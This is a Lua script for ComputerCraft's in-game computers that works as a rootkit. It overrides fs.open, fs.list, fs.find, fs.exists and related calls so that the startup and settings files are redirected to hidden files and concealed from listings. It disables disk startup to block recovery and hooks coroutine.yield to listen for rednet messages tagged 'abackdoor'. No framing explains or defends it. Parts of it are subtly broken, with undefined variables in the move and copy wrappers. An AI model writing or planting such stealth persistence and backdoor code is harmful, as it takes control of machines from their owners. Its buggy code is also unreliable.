aaaa

local redirects={{"startup",".ryxh0hsdf0jd9cmfipoa-98mfugjvfkbxccbnbdgxhggfjke"},{".settings",".dahfjshodhgsogfceh9etbwq6rctf45w6etf8teyg8fdrwg"}}
local fsopen=fs.open
local fsexist=fs.exists
local fslist=fs.list
local termwrite=term.write
local fsdelete=fs.delete
local fsmove=fs.move
local fscopy=fs.copy
local fsfind=fs.find
local fscombine=fs.combine
local settingsset=settings.set
if not fsexist(redirects[2][2]) then
     fscopy(".settings",redirects[2][2])
     settingsset("shell.allow_disk_startup",false)
end

local function trg(s)
    for i=1,#redirects do
        if s==redirects[i][1] or s==redirects[i][1]..".lua" then
            return true
        end
    end
    return false
end
local function dst(s)
    for i=1,#redirects do
        if s==redirects[i][2] or s==redirects[i][2]..".lua" then
            return true
        end
    end
    return false
end
local function redir(s)
    for i=1,#redirects do
        if s==redirects[i][1] then
            return redirects[i][2]
        end
        if s==redirects[i][1]..".lua" then
            return redirects[i][2]..".lua"
        end
    end
    print("um")
end
fs.exists=function(file)
    if trg(file) then return fsexist(redir(file)) end
    return fsexist(file)
end
fs.delete=function(file)
    if trg(file) then return fsdelete(redir(file)) end
    return fsdelete(file)
end
fs.move=function(file1,file2)
    if trg(file) then return fsmove(redir(file),file2) end
    if trg(file2) then return fsmove(file,redir(file2)) end
    return fsmove(file1,file2)
end
fs.copy=function(file1,file2)
    if trg(file) then return fscopy(redir(file),file2) end
    if trg(file2) then return fscopy(file,redir(file2)) end
    return fscopy(file1,file2)
end
fs.open=function(file,mode)
    file=fscombine(file,"")
    if trg(file) then
        if not fsexist(redir(file)) then
            fsopen(redir(file),"w").close()
        end
        file=redir(file)
    end
    return fsopen(file,mode)
end
fs.list=function(location)
    if fscombine(location,"")~="" then return fslist(location) end
    local real=fslist(location)
    local fake={}
    for i=1,#real do
        if (trg(real[i])) then
            if fsexist(redir(real[i])) then
                table.insert(fake,real[i])
            end
        else
            if not dst(real[i]) then
                table.insert(fake,real[i])
            end
        end
    end
    return fake
end
fs.find=function(files)
    if fscombine(files,"")~="" then return fsfind(files) end
    local real=fsfind(files)
    local fake={}
    for i=1,#real do
        if (trg(real[i])) then
            if fsexist(redir(real[i])) then
                table.insert(fake,real[i])
            end
        else
            if not dst(real[i]) then
                table.insert(fake,real[i])
            end
        end
    end
    return fake
end
local coroutineyield=coroutine.yield
coroutine.yield=function(...)
    local args={coroutineyield(...)}
    --print(unpack(args))
    if args[1]=="rednet_message" and args[3]=="abackdoor" then
        print(args[4])
    end
    return unpack(args)
end
shell.run("/rom/startup.lua")